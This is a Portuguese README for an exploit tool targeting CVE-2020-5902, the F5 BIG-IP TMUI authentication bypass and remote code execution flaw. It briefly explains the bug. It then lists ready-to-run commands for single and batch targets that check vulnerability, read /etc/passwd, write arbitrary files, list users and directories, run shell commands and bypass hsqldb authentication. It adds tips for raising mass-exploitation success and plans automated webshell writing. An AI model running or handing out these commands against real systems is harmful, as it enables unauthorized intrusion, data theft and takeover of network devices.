
Ferramenta de verificação automática do F5 BIG-IP RCE CVE-2020-5902
Em 2020-07-06, a vulnerabilidade RCE do F5 BIG-IP TMUI foi divulgada publicamente.
O componente TMUI do F5 BIG-IP (Interface de Usuário de Gerenciamento de Tráfego) apresenta uma vulnerabilidade de bypass de autenticação. Essa vulnerabilidade decorre da diferença entre a URL analisada pelo Tomcat e o request.getPathInfo(), o que permite contornar a verificação de autenticação, acessar sem autorização todos os recursos do módulo TMUI e, consequentemente, ler/gravar arquivos arbitrários, executar comandos, etc.
Para mais detalhes, consulte Reprodução e pontos de atenção da vulnerabilidade F5 BIG-IP TMUI RCE (CVE-2020-5902)
Esta ferramenta suporta verificação de IP único, verificação de IP em lote, leitura/gravação de arquivos, listagem de usuários autenticados, listagem de diretórios, execução remota de comandos e verificação de bypass de autenticação do hsqldb.
pip install requests
python f5-bigip-rce-cve-2020-5902.py -h

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

Para IPs em lote, adicione http:// ou https:// no início. Se não houver protocolo, http:// será adicionado por padrão.
Se as condições permitirem, é recomendável adicionar o parâmetro --still-exploit; mesmo que a listagem de usuários autenticados falhe, execute o RCE, aumentando a taxa de sucesso.
Enviar múltiplas requisições para aumentar a taxa de sucesso em lote; é necessário ponderar a questão da eficiência.
Integrar a exploração de desserialização da interface hsqldb.
Adicionar escrita automatizada de webshell.
gmail: [email protected]